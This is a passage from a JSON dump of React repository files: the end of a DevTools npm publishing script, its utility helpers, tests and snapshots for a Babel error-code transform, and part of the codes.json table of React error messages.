'https://fburl.com/publish-react-devtools-extensions'\n    )}`\n  );\n  console.log('');\n  console.log('When publishing to Firefox, remember the following:');\n  console.log(`  Commit Hash: ${chalk.bold(currentCommitHash)}`);\n  console.log(`  Git archive: ${chalk.bold(archivePath)}`);\n  console.log('');\n  console.log('Also consider syncing this release to Facebook:');\n  console.log(`  ${chalk.bold.green('js1 upgrade react-devtools')}`);\n}\n\nasync function publishToNPM() {\n  const {otp} = await inquirer.prompt([\n    {\n      type: 'input',\n      name: 'otp',\n      message: 'Please provide an NPM two-factor auth token:',\n    },\n  ]);\n\n  console.log('');\n\n  if (!otp) {\n    console.error(chalk.red(`Invalid OTP provided: \"${chalk.bold(otp)}\"`));\n    process.exit(0);\n  }\n\n  for (let index = 0; index < NPM_PACKAGES.length; index++) {\n    const npmPackage = NPM_PACKAGES[index];\n    const packagePath = join(ROOT_PATH, 'packages', npmPackage);\n    const {version} = readJsonSync(join(packagePath, 'package.json'));\n\n    // Check if this package version has already been published.\n    // If so we might be resuming from a previous run.\n    // We could infer this by comparing the build-info.json,\n    // But for now the easiest way is just to ask if this is expected.\n    const versionListJSON = await execRead(\n      `npm view ${npmPackage} versions --json`\n    );\n    const versionList = JSON.parse(versionListJSON);\n    const versionIsAlreadyPublished = versionList.includes(version);\n\n    if (versionIsAlreadyPublished) {\n      console.log('');\n      console.log(\n        `${npmPackage} version ${chalk.bold(\n          version\n        )} has already been published.`\n      );\n\n      await confirm(`Is this expected (will skip ${npmPackage}@${version})?`);\n      continue;\n    }\n\n    if (DRY_RUN) {\n      console.log(`Publishing package ${chalk.bold(npmPackage)}`);\n      console.log(chalk.dim(`  npm publish --otp=${otp}`));\n    } else {\n      const publishPromise = exec(`npm publish --otp=${otp}`, {\n        cwd: packagePath,\n      });\n\n      await logger(\n        publishPromise,\n        `Publishing package ${chalk.bold(npmPackage)}`,\n        {\n          estimate: 2500,\n        }\n      );\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "scripts/devtools/utils.js",
    "content": "'use strict';\n\nconst chalk = require('chalk');\nconst {exec} = require('child-process-promise');\nconst {existsSync, mkdirSync} = require('fs');\nconst {readJsonSync, writeJsonSync} = require('fs-extra');\nconst inquirer = require('inquirer');\nconst {join} = require('path');\nconst createLogger = require('progress-estimator');\nconst {\n  BUILD_METADATA_TEMP_DIRECTORY,\n  NPM_PACKAGES,\n} = require('./configuration');\n\nconst logger = createLogger({\n  storagePath: join(__dirname, '.progress-estimator'),\n});\n\nasync function checkNPMPermissions() {\n  const currentUser = await execRead('npm whoami');\n  const failedProjects = [];\n\n  const checkProject = async project => {\n    const owners = (await execRead(`npm owner ls ${project}`))\n      .split('\\n')\n      .filter(owner => owner)\n      .map(owner => owner.split(' ')[0]);\n\n    if (!owners.includes(currentUser)) {\n      failedProjects.push(project);\n    }\n  };\n\n  await logger(\n    Promise.all(NPM_PACKAGES.map(checkProject)),\n    `Checking NPM permissions for ${chalk.bold(currentUser)}.`,\n    {estimate: 2500}\n  );\n\n  console.log('');\n\n  if (failedProjects.length) {\n    console.error(chalk.red.bold('Insufficient NPM permissions'));\n    console.error('');\n    console.error(\n      chalk.red(\n        `NPM user {underline ${currentUser}} is not an owner for: ${chalk.bold(\n          failedProjects.join(', ')\n        )}`\n      )\n    );\n    console.error(\n      chalk.red(\n        'Please contact a React team member to be added to the above project(s).'\n      )\n    );\n    process.exit(1);\n  }\n}\n\nfunction clear() {\n  console.clear();\n}\n\nasync function confirm(message, exitFunction) {\n  console.log('');\n\n  const {confirmation} = await inquirer.prompt({\n    name: 'confirmation',\n    type: 'confirm',\n    message,\n  });\n\n  console.log('');\n\n  if (!confirmation) {\n    if (typeof exitFunction === 'function') {\n      exitFunction();\n    }\n\n    process.exit(0);\n  }\n}\n\nasync function confirmContinue(exitFunction) {\n  await confirm('Continue the release?', exitFunction);\n}\n\nasync function execRead(command, options) {\n  const {stdout} = await exec(command, options);\n\n  return stdout.trim();\n}\n\nfunction readSavedBuildMetadata() {\n  const path = join(BUILD_METADATA_TEMP_DIRECTORY, 'metadata');\n\n  if (!existsSync(path)) {\n    console.error(chalk.red('Expected to find build metadata at:'));\n    console.error(chalk.dim(`  ${path}`));\n    process.exit(1);\n  }\n\n  const {archivePath, currentCommitHash} = readJsonSync(path);\n\n  return {archivePath, currentCommitHash};\n}\n\nfunction saveBuildMetadata({archivePath, currentCommitHash}) {\n  const path = join(BUILD_METADATA_TEMP_DIRECTORY, 'metadata');\n\n  if (!existsSync(BUILD_METADATA_TEMP_DIRECTORY)) {\n    mkdirSync(BUILD_METADATA_TEMP_DIRECTORY);\n  }\n\n  writeJsonSync(path, {archivePath, currentCommitHash}, {spaces: 2});\n}\n\nmodule.exports = {\n  checkNPMPermissions,\n  clear,\n  confirm,\n  confirmContinue,\n  execRead,\n  logger,\n  readSavedBuildMetadata,\n  saveBuildMetadata,\n};\n"
  },
  {
    "path": "scripts/error-codes/README.md",
    "content": "The error code system substitutes React's error messages with error IDs to\nprovide a better debugging support in production. Check out the blog post\n[here](https://reactjs.org/blog/2016/07/11/introducing-reacts-error-code-system.html).\n\n- [`codes.json`](https://github.com/facebook/react/blob/main/scripts/error-codes/codes.json)\n  contains the mapping from IDs to error messages. This file is generated by the\n  Gulp plugin and is used by both the Babel plugin and the error decoder page in\n  our documentation. This file is append-only, which means an existing code in\n  the file will never be changed/removed.\n- [`extract-errors.js`](https://github.com/facebook/react/blob/main/scripts/error-codes/extract-errors.js)\n  is an node script that traverses our codebase and updates `codes.json`. You\n  can test it by running `yarn extract-errors`. It works by crawling the build\n  artifacts directory, so you need to have either run the build script or\n  downloaded pre-built artifacts (e.g. with `yarn download build`). It works\n  with partial builds, too.\n- [`transform-error-messages`](https://github.com/facebook/react/blob/main/scripts/error-codes/transform-error-messages.js)\n  is a Babel pass that rewrites error messages to IDs for a production\n  (minified) build.\n"
  },
  {
    "path": "scripts/error-codes/Types.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n'use strict';\n\nexport type ErrorMap = {[id: string]: string, ...};\n"
  },
  {
    "path": "scripts/error-codes/__tests__/__snapshots__/transform-error-messages.js.snap",
    "content": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`error transform handles deeply nested expressions 1`] = `\n\"var val = (a, (b,\n// eslint-disable-next-line react-internal/prod-error-codes\nnew Error('foo')));\"\n`;\n\nexports[`error transform handles deeply nested expressions 2`] = `\n\"var val = (a, (\n// eslint-disable-next-line react-internal/prod-error-codes\nb, new Error('foo')));\"\n`;\n\nexports[`error transform handles escaped backticks in template string 1`] = `\n\"import _formatProdErrorMessage from \"shared/formatProdErrorMessage\";\nError(_formatProdErrorMessage(231, listener, type));\"\n`;\n\nexports[`error transform handles ignoring errors that are comment-excluded inside ternary expressions 1`] = `\n\"/*! FIXME (minify-errors-in-prod): Unminified error message in production build!*/\n/*! <expected-error-format>\"bar\"</expected-error-format>*/\nvar val = someBool ?\n//eslint-disable-next-line react-internal/prod-error-codes\nnew Error('foo') : someOtherBool ? new Error('bar') :\n//eslint-disable-next-line react-internal/prod-error-codes\nnew Error('baz');\"\n`;\n\nexports[`error transform handles ignoring errors that are comment-excluded outside ternary expressions 1`] = `\n\"//eslint-disable-next-line react-internal/prod-error-codes\nvar val = someBool ? new Error('foo') : someOtherBool ? new Error('bar') : new Error('baz');\"\n`;\n\nexports[`error transform should not touch other calls or new expressions 1`] = `\n\"new NotAnError();\nNotAnError();\"\n`;\n\nexports[`error transform should output FIXME for errors that don't have a matching error code 1`] = `\n\"/*! FIXME (minify-errors-in-prod): Unminified error message in production build!*/\n/*! <expected-error-format>\"This is not a real error message.\"</expected-error-format>*/\nError('This is not a real error message.');\"\n`;\n\nexports[`error transform should output FIXME for errors that don't have a matching error code, unless opted out with a comment 1`] = `\n\"// eslint-disable-next-line react-internal/prod-error-codes\nError('This is not a real error message.');\"\n`;\n\nexports[`error transform should replace error constructors (no new) 1`] = `\n\"import _formatProdErrorMessage from \"shared/formatProdErrorMessage\";\nError(_formatProdErrorMessage(16));\"\n`;\n\nexports[`error transform should replace error constructors 1`] = `\n\"import _formatProdErrorMessage from \"shared/formatProdErrorMessage\";\nError(_formatProdErrorMessage(16));\"\n`;\n\nexports[`error transform should support error constructors with concatenated messages 1`] = `\n\"import _formatProdErrorMessage from \"shared/formatProdErrorMessage\";\nError(_formatProdErrorMessage(7, foo, bar));\"\n`;\n\nexports[`error transform should support extra arguments to error constructor 1`] = `\n\"import _formatProdErrorMessage from \"shared/formatProdErrorMessage\";\nError(_formatProdErrorMessage(7, foo, bar), {\n  cause: error\n});\"\n`;\n\nexports[`error transform should support interpolating arguments with concatenation 1`] = `\n\"import _formatProdErrorMessage from \"shared/formatProdErrorMessage\";\nError(_formatProdErrorMessage(7, foo, bar));\"\n`;\n\nexports[`error transform should support interpolating arguments with template strings 1`] = `\n\"import _formatProdErrorMessage from \"shared/formatProdErrorMessage\";\nError(_formatProdErrorMessage(7, foo, bar));\"\n`;\n"
  },
  {
    "path": "scripts/error-codes/__tests__/invertObject-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nconst invertObject = require('../invertObject');\n\nconst objectValues = target => Object.keys(target).map(key => target[key]);\n\ndescribe('invertObject', () => {\n  it('should return an empty object for an empty input', () => {\n    expect(invertObject({})).toEqual({});\n  });\n\n  it('should invert key-values', () => {\n    expect(\n      invertObject({\n        a: '3',\n        b: '4',\n      })\n    ).toEqual({\n      3: 'a',\n      4: 'b',\n    });\n  });\n\n  it('should take the last value when there are duplications in vals', () => {\n    expect(\n      invertObject({\n        a: '3',\n        b: '4',\n        c: '3',\n      })\n    ).toEqual({\n      4: 'b',\n      3: 'c',\n    });\n  });\n\n  it('should preserve the original order', () => {\n    expect(\n      Object.keys(\n        invertObject({\n          a: '3',\n          b: '4',\n          c: '3',\n        })\n      )\n    ).toEqual(['3', '4']);\n\n    expect(\n      objectValues(\n        invertObject({\n          a: '3',\n          b: '4',\n          c: '3',\n        })\n      )\n    ).toEqual(['c', 'b']);\n  });\n});\n"
  },
  {
    "path": "scripts/error-codes/__tests__/transform-error-messages.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nlet babel = require('@babel/core');\nlet devExpressionWithCodes = require('../transform-error-messages');\n\nfunction transform(input, options = {}) {\n  return babel.transform(input, {\n    plugins: [[devExpressionWithCodes, options]],\n  }).code;\n}\n\nlet oldEnv;\n\ndescribe('error transform', () => {\n  beforeEach(() => {\n    oldEnv = process.env.NODE_ENV;\n    process.env.NODE_ENV = '';\n  });\n\n  afterEach(() => {\n    process.env.NODE_ENV = oldEnv;\n  });\n\n  it('should replace error constructors', () => {\n    expect(\n      transform(`\nnew Error('Do not override existing functions.');\n`)\n    ).toMatchSnapshot();\n  });\n\n  it('should replace error constructors (no new)', () => {\n    expect(\n      transform(`\nError('Do not override existing functions.');\n`)\n    ).toMatchSnapshot();\n  });\n\n  it(\"should output FIXME for errors that don't have a matching error code\", () => {\n    expect(\n      transform(`\nError('This is not a real error message.');\n`)\n    ).toMatchSnapshot();\n  });\n\n  it(\n    \"should output FIXME for errors that don't have a matching error \" +\n      'code, unless opted out with a comment',\n    () => {\n      // TODO: Since this only detects one of many ways to disable a lint\n      // rule, we should instead search for a custom directive (like\n      // no-minify-errors) instead of ESLint. Will need to update our lint\n      // rule to recognize the same directive.\n      expect(\n        transform(`\n// eslint-disable-next-line react-internal/prod-error-codes\nError('This is not a real error message.');\n`)\n      ).toMatchSnapshot();\n    }\n  );\n\n  it('should not touch other calls or new expressions', () => {\n    expect(\n      transform(`\nnew NotAnError();\nNotAnError();\n`)\n    ).toMatchSnapshot();\n  });\n\n  it('should support interpolating arguments with template strings', () => {\n    expect(\n      transform(`\nnew Error(\\`Expected \\${foo} target to be an array; got \\${bar}\\`);\n`)\n    ).toMatchSnapshot();\n  });\n\n  it('should support interpolating arguments with concatenation', () => {\n    expect(\n      transform(`\nnew Error('Expected ' + foo + ' target to be an array; got ' + bar);\n`)\n    ).toMatchSnapshot();\n  });\n\n  it('should support error constructors with concatenated messages', () => {\n    expect(\n      transform(`\nnew Error(\\`Expected \\${foo} target to \\` + \\`be an array; got \\${bar}\\`);\n`)\n    ).toMatchSnapshot();\n  });\n\n  it('handles escaped backticks in template string', () => {\n    expect(\n      transform(`\nnew Error(\\`Expected \\\\\\`\\$\\{listener\\}\\\\\\` listener to be a function, instead got a value of \\\\\\`\\$\\{type\\}\\\\\\` type.\\`);\n`)\n    ).toMatchSnapshot();\n  });\n\n  it('handles ignoring errors that are comment-excluded inside ternary expressions', () => {\n    expect(\n      transform(`\nlet val = someBool\n  ? //eslint-disable-next-line react-internal/prod-error-codes\n    new Error('foo')\n  : someOtherBool\n  ? new Error('bar')\n  : //eslint-disable-next-line react-internal/prod-error-codes\n    new Error('baz');\n`)\n    ).toMatchSnapshot();\n  });\n\n  it('handles ignoring errors that are comment-excluded outside ternary expressions', () => {\n    expect(\n      transform(`\n//eslint-disable-next-line react-internal/prod-error-codes\nlet val = someBool\n  ? new Error('foo')\n  : someOtherBool\n  ? new Error('bar')\n  : new Error('baz');\n`)\n    ).toMatchSnapshot();\n  });\n\n  it('handles deeply nested expressions', () => {\n    expect(\n      transform(`\nlet val =\n  (a,\n  (b,\n  // eslint-disable-next-line react-internal/prod-error-codes\n  new Error('foo')));\n`)\n    ).toMatchSnapshot();\n\n    expect(\n      transform(`\nlet val =\n  (a,\n  // eslint-disable-next-line react-internal/prod-error-codes\n  (b, new Error('foo')));\n`)\n    ).toMatchSnapshot();\n  });\n\n  it('should support extra arguments to error constructor', () => {\n    expect(\n      transform(`\nnew Error(\\`Expected \\${foo} target to \\` + \\`be an array; got \\${bar}\\`, {cause: error});\n`)\n    ).toMatchSnapshot();\n  });\n});\n"
  },
  {
    "path": "scripts/error-codes/codes.json",
    "content": "{\n  \"0\": \"Encountered an invalid child; DOM elements are not valid children of React components.\",\n  \"1\": \"update(): expected target of %s to be an array; got %s.\",\n  \"2\": \"update(): expected spec of %s to be an array; got %s. Did you forget to wrap your parameter in an array?\",\n  \"3\": \"update(): You provided a key path to update() that did not contain one of %s. Did you forget to include {%s: ...}?\",\n  \"4\": \"Cannot have more than one key in an object with %s\",\n  \"5\": \"update(): %s expects a spec of type 'object'; got %s\",\n  \"6\": \"update(): %s expects a target of type 'object'; got %s\",\n  \"7\": \"Expected %s target to be an array; got %s\",\n  \"8\": \"update(): expected spec of %s to be an array of arrays; got %s. Did you forget to wrap your parameters in an array?\",\n  \"9\": \"update(): expected spec of %s to be a function; got %s.\",\n  \"10\": \"instance must be a composite component\",\n  \"11\": \"TestUtils.scryRenderedDOMComponentsWithClass expects a className as a second argument.\",\n  \"12\": \"ReactShallowRenderer render(): Invalid component element.%s\",\n  \"13\": \"ReactShallowRenderer render(): Shallow rendering works only with custom components, not primitives (%s). Instead of calling `.render(el)` and inspecting the rendered output, look at `el.props` directly instead.\",\n  \"14\": \"TestUtils.Simulate expects a component instance and not a ReactElement.TestUtils.Simulate will not work if you are using shallow rendering.\",\n  \"15\": \"instance must be a composite component\",\n  \"16\": \"Do not override existing functions.\",\n  \"17\": \"All native instances should have a tag.\",\n  \"18\": \"Expected a component class, got %s.%s\",\n  \"19\": \"Expect a native root tag, instead got %s\",\n  \"20\": \"RawText \\\"%s\\\" must be wrapped in an explicit <Text> component.\",\n  \"21\": \"Argument is not a component (type: %s, keys: %s)\",\n  \"22\": \"Unable to find node handle for unmounted component.\",\n  \"23\": \"onlyChild must be passed a children with exactly one child.\",\n  \"24\": \"Mismatched list of contexts in callback queue\",\n  \"25\": \"Trying to release an instance into a pool of a different type.\",\n  \"26\": \"Unexpected node: %s\",\n  \"27\": \"Cannot initialize a transaction when there is already an outstanding transaction.\",\n  \"28\": \"Transaction.closeAll(): Cannot close transaction when none are open.\",\n  \"29\": \"Accumulated items must be not be null or undefined.\",\n  \"30\": \"Accumulated items must not be null or undefined.\",\n  \"31\": \"Objects are not valid as a React child (found: %s). If you meant to render a collection of children, use an array instead.\",\n  \"32\": \"Unable to find element with ID %s.\",\n  \"33\": \"getNodeFromInstance: Invalid argument.\",\n  \"34\": \"React DOM tree root should always have a node reference.\",\n  \"35\": \"isAncestor: Invalid argument.\",\n  \"36\": \"getParentInstance: Invalid argument.\",\n  \"37\": \"_Target container is not a DOM element.\",\n  \"38\": \"parentComponent must be a valid React Component\",\n  \"39\": \"ReactDOM.render(): Invalid component element.%s\",\n  \"40\": \"Target container is not a DOM element.\",\n  \"41\": \"Target container is not valid.\",\n  \"42\": \"You're trying to render a component to the document using server rendering but the checksum was invalid. This usually means you rendered a different component type or props on the client from the one on the server, or your render() methods are impure. React cannot handle this case due to cross-browser quirks by rendering at the document root. You should look for environment dependent code in your components and ensure the props are the same client and server side:\\n%s\",\n  \"43\": \"You're trying to render a component to the document but you didn't use server rendering. We can't do this without using server rendering due to cross-browser quirks. See ReactDOMServer.renderToString() for server rendering.\",\n  \"44\": \"findDOMNode was called on an unmounted component.\",\n  \"45\": \"Element appears to be neither ReactComponent nor DOMNode (keys: %s)\",\n  \"46\": \"renderToString(): You must pass a valid ReactElement.\",\n  \"47\": \"renderToStaticMarkup(): You must pass a valid ReactElement.\",\n  \"48\": \"You're trying to inject DOM property '%s' which has already been injected. You may be accidentally injecting the same DOM property config twice, or you may be injecting two configs that have conflicting property names.\",\n  \"49\": \"DOMProperty: Properties that have side effects must use property: %s\",\n  \"50\": \"DOMProperty: Value can be one of boolean, overloaded boolean, or numeric value, but not a combination: %s\",\n  \"51\": \"Cannot render markup in a worker thread. Make sure `window` and `document` are available globally before requiring React when unit testing or use ReactDOMServer.renderToString for server rendering.\",\n  \"52\": \"Missing markup.\",\n  \"53\": \"Danger: Assigning to an already-occupied result index.\",\n  \"54\": \"Danger: Did not assign to every index of resultList.\",\n  \"55\": \"Danger: Expected markup to render %s nodes, but rendered %s.\",\n  \"56\": \"Cannot render markup in a worker thread. Make sure `window` and `document` are available globally before requiring React when unit testing or use ReactDOMServer.renderToString() for server rendering.\",\n  \"57\": \"Missing markup.\",\n  \"58\": \"Cannot replace markup of the <html> node. This is because browser quirks make this unreliable and/or slow. If you want to render to the root you must use server rendering. See ReactDOMServer.renderToString().\",\n  \"59\": \"%s is a void element tag and must not have `children` or use `props.dangerouslySetInnerHTML`.\",\n  \"60\": \"Can only set one of `children` or `props.dangerouslySetInnerHTML`.\",\n  \"61\": \"`props.dangerouslySetInnerHTML` must be in the form `{__html: ...}`. Please visit https://react.dev/link/dangerously-set-inner-html for more information.\",\n  \"62\": \"The `style` prop expects a mapping from style properties to values, not a string. For example, style={{marginRight: spacing + 'em'}} when using JSX.\",\n  \"63\": \"Must be mounted to trap events\",\n  \"64\": \"Requires node to be rendered.\",\n  \"65\": \"Invalid tag: %s\",\n  \"66\": \"<%s> tried to unmount. Because of cross-browser quirks it is impossible to unmount some top-level components (eg <html>, <head>, and <body>) reliably and efficiently. To fix this, have a single top-level component that never unmounts render these elements.\",\n  \"67\": \"Missing closing comment for text component %s\",\n  \"68\": \"Expected devtool events to fire for the child before its parent includes it in onSetChildren().\",\n  \"69\": \"Expected onSetDisplayName() to fire for the child before its parent includes it in onSetChildren().\",\n  \"70\": \"Expected onSetChildren() or onSetText() to fire for the child before its parent includes it in onSetChildren().\",\n  \"71\": \"Expected onMountComponent() to fire for the child before its parent includes it in onSetChildren().\",\n  \"72\": \"Expected onSetParent() and onSetChildren() to be consistent (%s has parents %s and %s).\",\n  \"73\": \"ReactClassInterface: You are attempting to override `%s` from your class specification. Ensure that your method names do not overlap with React methods.\",\n  \"74\": \"ReactClassInterface: You are attempting to define `%s` on your component more than once. This conflict may be due to a mixin.\",\n  \"75\": \"ReactClass: You're attempting to use a component class or function as a mixin. Instead, just use a regular object.\",\n  \"76\": \"ReactClass: You're attempting to use a component as a mixin. Instead, just use a regular object.\",\n  \"77\": \"ReactClass: Unexpected spec policy %s for key %s when mixing in component specs.\",\n  \"78\": \"ReactClass: You are attempting to define a reserved property, `%s`, that shouldn't be on the \\\"statics\\\" key. Define it as an instance property instead; it will still be accessible on the constructor.\",\n  \"79\": \"ReactClass: You are attempting to define `%s` on your component more than once. This conflict may be due to a mixin.\",\n  \"80\": \"mergeIntoWithNoDuplicateKeys(): Cannot merge non-objects.\",\n  \"81\": \"mergeIntoWithNoDuplicateKeys(): Tried to merge two objects with the same key: `%s`. This conflict may be due to a mixin; in particular, this may be caused by two getInitialState() or getDefaultProps() methods returning objects with clashing keys.\",\n  \"82\": \"%s.getInitialState(): must return an object or null\",\n  \"83\": \"Class specification must implement a `render` method.\",\n  \"84\": \"%s: %s type `%s` is invalid; it must be a function, usually from React.PropTypes.\",\n  \"85\": \"takes an object of state variables to update or a function which returns an object of state variables.\",\n  \"86\": \"SimpleEventPlugin: Unhandled event type, `%s`.\",\n  \"87\": \"Cannot provide a checkedLink and a valueLink. If you want to use checkedLink, you probably don't want to use valueLink and vice versa.\",\n  \"88\": \"Cannot provide a valueLink and a value or onChange event. If you want to use value or onChange, you probably don't want to use valueLink.\",\n  \"89\": \"Cannot provide a checkedLink and a checked property or onChange event. If you want to use checked or onChange, you probably don't want to use checkedLink\",\n  \"90\": \"ReactDOMInput: Mixing React and non-React radio inputs with the same `name` is not supported.\",\n  \"91\": \"`dangerouslySetInnerHTML` does not make sense on <textarea>.\",\n  \"92\": \"If you supply `defaultValue` on a <textarea>, do not pass children.\",\n  \"93\": \"<textarea> can only have at most one child.\",\n  \"94\": \"Expected %s listener to be a function, instead got type %s\",\n  \"95\": \"processEventQueue(): Additional events were enqueued while processing an event queue. Support for this has not yet been implemented.\",\n  \"96\": \"EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.\",\n  \"97\": \"EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.\",\n  \"98\": \"EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.\",\n  \"99\": \"EventPluginRegistry: More than one plugin attempted to publish the same event name, `%s`.\",\n  \"100\": \"EventPluginRegistry: More than one plugin attempted to publish the same registration name, `%s`.\",\n  \"101\": \"EventPluginRegistry: Cannot inject event plugin ordering more than once. You are likely trying to load more than one copy of React.\",\n  \"102\": \"EventPluginRegistry: Cannot inject two different event plugins using the same name, `%s`.\",\n  \"103\": \"Invalid `event`.\",\n  \"104\": \"ReactCompositeComponent: injectEnvironment() can only be called once.\",\n  \"105\": \"A valid React element (or null) must be returned. You may have returned undefined, an array or some other invalid object.\",\n  \"106\": \"%s.state: must be set to an object or null\",\n  \"107\": \"%s.getChildContext(): childContextTypes must be defined in order to use getChildContext().\",\n  \"108\": \"%s.getChildContext(): key \\\"%s\\\" is not defined in childContextTypes.\",\n  \"109\": \"%s.render(): A valid React element (or null) must be returned. You may have returned undefined, an array or some other invalid object.\",\n  \"110\": \"Stateless function components cannot have refs.\",\n  \"111\": \"There is no registered component for the tag %s\",\n  \"112\": \"getNextDescendantID(%s, %s): Received an invalid React DOM ID.\",\n  \"113\": \"React has made an invalid assumption about the DOM hierarchy. Expected `%s` to be an ancestor of `%s`.\",\n  \"114\": \"getFirstCommonAncestorID(%s, %s): Expected a valid React DOM ID: %s\",\n  \"115\": \"Cannot traverse from and to the same ID, `%s`.\",\n  \"116\": \"traverseParentPath(%s, %s, ...): Cannot traverse from two IDs that do not have a parent path.\",\n  \"117\": \"traverseParentPath(%s, %s, ...): Detected an infinite loop while traversing the React DOM ID tree. This may be due to malformed IDs: %s\",\n  \"118\": \"updateTextContent called on non-empty component.\",\n  \"119\": \"Only a ReactOwner can have refs. You might be adding a ref to a component that was not created inside a component's `render` method, or you have multiple copies of React loaded (details: https://react.dev/link/refs-must-have-owner).\",\n  \"120\": \"Only a ReactOwner can have refs. You might be removing a ref to a component that was not created inside a component's `render` method, or you have multiple copies of React loaded (details: https://react.dev/link/refs-must-have-owner).\",\n  \"121\": \"performUpdateIfNecessary: Unexpected batch number (current %s, pending %s)\",\n  \"122\": \"%s(...): Expected the last optional `callback` argument to be a function. Instead received: %s.\",\n  \"123\": \"ReactUpdates: must inject a reconcile transaction class and batching strategy\",\n  \"124\": \"Expected flush transaction's stored dirty-components length (%s) to match dirty-components array length (%s).\",\n  \"125\": \"ReactUpdates.asap: Can't enqueue an asap callback in a context where updates are not being batched.\",\n  \"126\": \"ReactUpdates: must provide a reconcile transaction class\",\n  \"127\": \"ReactUpdates: must provide a batching strategy\",\n  \"128\": \"ReactUpdates: must provide a batchedUpdates() function\",\n  \"129\": \"ReactUpdates: must provide an isBatchingUpdates boolean attribute\",\n  \"130\": \"Element type is invalid: expected a string (for built-in components) or a class/function (for composite components) but got: %s.%s\",\n  \"131\": \"Encountered invalid React node of type %s\",\n  \"132\": \"Ended a touch event which was not counted in trackedTouchCount.\",\n  \"133\": \"Touch object is missing identifier\",\n  \"134\": \"Touch data should have been recorded on start\",\n  \"135\": \"Cannot find single active touch\",\n  \"136\": \"Attempted to update component `%s` that has already been unmounted (or failed to mount).\",\n  \"137\": \"%s is a void element tag and must neither have `children` nor use `dangerouslySetInnerHTML`.\",\n  \"138\": \"Touch object is missing identifier.\",\n  \"139\": \"ReactTestRenderer: .update() can't be called after unmount.\",\n  \"140\": \"Expected hook events to fire for the child before its parent includes it in onSetChildren().\",\n  \"141\": \"Expected onSetChildren() to fire for a container child before its parent includes it in onSetChildren().\",\n  \"142\": \"Expected onBeforeMountComponent() parent and onSetChildren() to be consistent (%s has parents %s and %s).\",\n  \"143\": \"React.Children.only expected to receive a single React element child.\",\n  \"144\": \"Item must have been set\",\n  \"145\": \"hostContainerInfo should be populated before getPublicInstance is called.\",\n  \"146\": \"React Component in warnForMissingKey should have a _store. This error is likely caused by a bug in React. Please file an issue.\",\n  \"147\": \"Missing owner for string ref %s. This error is likely caused by a bug in React. Please file an issue.\",\n  \"148\": \"Expected ref to be a function or a string.\",\n  \"149\": \"Element ref was specified as a string (%s) but no owner was set. You may have multiple copies of React loaded. (details: https://react.dev/link/refs-must-have-owner).\",\n  \"150\": \"An object is not an iterable. This error is likely caused by a bug in React. Please file an issue.\",\n  \"151\": \"An iterable object provided no iterator.\",\n  \"152\": \"Nothing was returned from render. This usually means a return statement is missing. Or, to render nothing, return null.\",\n  \"153\": \"Resuming work not yet implemented.\",\n  \"154\": \"We should always have pending or current props. This error is likely caused by a bug in React. Please file an issue.\",\n  \"155\": \"An indeterminate component should never have mounted. This error is likely caused by a bug in React. Please file an issue.\",\n  \"156\": \"Unknown unit of work tag (%s). This error is likely caused by a bug in React. Please file an issue.\",\n  \"157\": \"Invalid type of work. This error is likely caused by a bug in React. Please file an issue.\",\n  \"158\": \"There must be pending props for an initial mount. This error is likely caused by a bug in React. Please file an issue.\",\n  \"159\": \"There should always be pending or memoized props. This error is likely caused by a bug in React. Please file an issue.\",\n  \"160\": \"Expected to find a host parent. This error is likely caused by a bug in React. Please file an issue.\",\n  \"161\": \"Invalid host parent fiber. This error is likely caused by a bug in React. Please file an issue.\",\n  \"162\": \"This should have a text node initialized. This error is likely caused by a bug in React. Please file an issue.\",\n  \"163\": \"This unit of work tag should not have side-effects. This error is likely caused by a bug in React. Please file an issue.\",\n  \"164\": \"A coroutine cannot have host component children.\",\n  \"165\": \"Should be resolved by now. This error is likely caused by a bug in React. Please file an issue.\",\n  \"166\": \"We must have new props for new mounts. This error is likely caused by a bug in React. Please file an issue.\",\n  \"167\": \"An indeterminate component should have become determinate before completing. This error is likely caused by a bug in React. Please file an issue.\",\n  \"168\": \"Unexpected context found on stack. This error is likely caused by a bug in React. Please file an issue.\",\n  \"169\": \"Expected to have an instance by this point. This error is likely caused by a bug in React. Please file an issue.\",\n  \"170\": \"Expected subtree parent to be a mounted class component. This error is likely caused by a bug in React. Please file an issue.\",\n  \"171\": \"Found unexpected detached subtree parent. This error is likely caused by a bug in React. Please file an issue.\",\n  \"172\": \"The custom dialog was already injected.\",\n  \"173\": \"Injected showDialog() must be a function.\",\n  \"174\": \"Expected host context to exist. This error is likely caused by a bug in React. Please file an issue.\",\n  \"175\": \"Expected prepareToHydrateHostInstance() to never be called. This error is likely caused by a bug in React. Please file an issue.\",\n  \"176\": \"Expected prepareToHydrateHostTextInstance() to never be called. This error is likely caused by a bug in React. Please file an issue.\",\n  \"177\": \"Cannot commit the same tree as before. This error is likely caused by a bug in React. Please file an issue.\",\n  \"178\": \"Should have next effect. This error is likely caused by a bug in React. Please file an issue.\",\n  \"179\": \"Should have a pending commit. This error is likely caused by a bug in React. Please file an issue.\",\n  \"180\": \"Commit phase errors should be scheduled to recover with task priority. This error is likely caused by a bug in React. Please file an issue.\",\n  \"181\": \"Switch statement should be exhaustive. This error is likely caused by a bug in React. Please file an issue.\",\n  \"182\": \"performWork was called recursively. This error is likely caused by a bug in React. Please file an issue.\",\n  \"183\": \"Should have found an error boundary. This error is likely caused by a bug in React. Please file an issue.\",\n  \"184\": \"No error for given unit of work. This error is likely caused by a bug in React. Please file an issue.\",\n  \"185\": \"Maximum update depth exceeded. This can happen when a component repeatedly calls setState inside componentWillUpdate or componentDidUpdate. React limits the number of nested updates to prevent infinite loops.\",\n  \"186\": \"Task updates can only be scheduled as a nested update or inside batchedUpdates.\",\n  \"187\": \"flushSync was called from inside a lifecycle method. It cannot be called when React is already rendering.\",\n  \"188\": \"Unable to find node on an unmounted component.\",\n  \"189\": \"Child was not found in either parent set. This 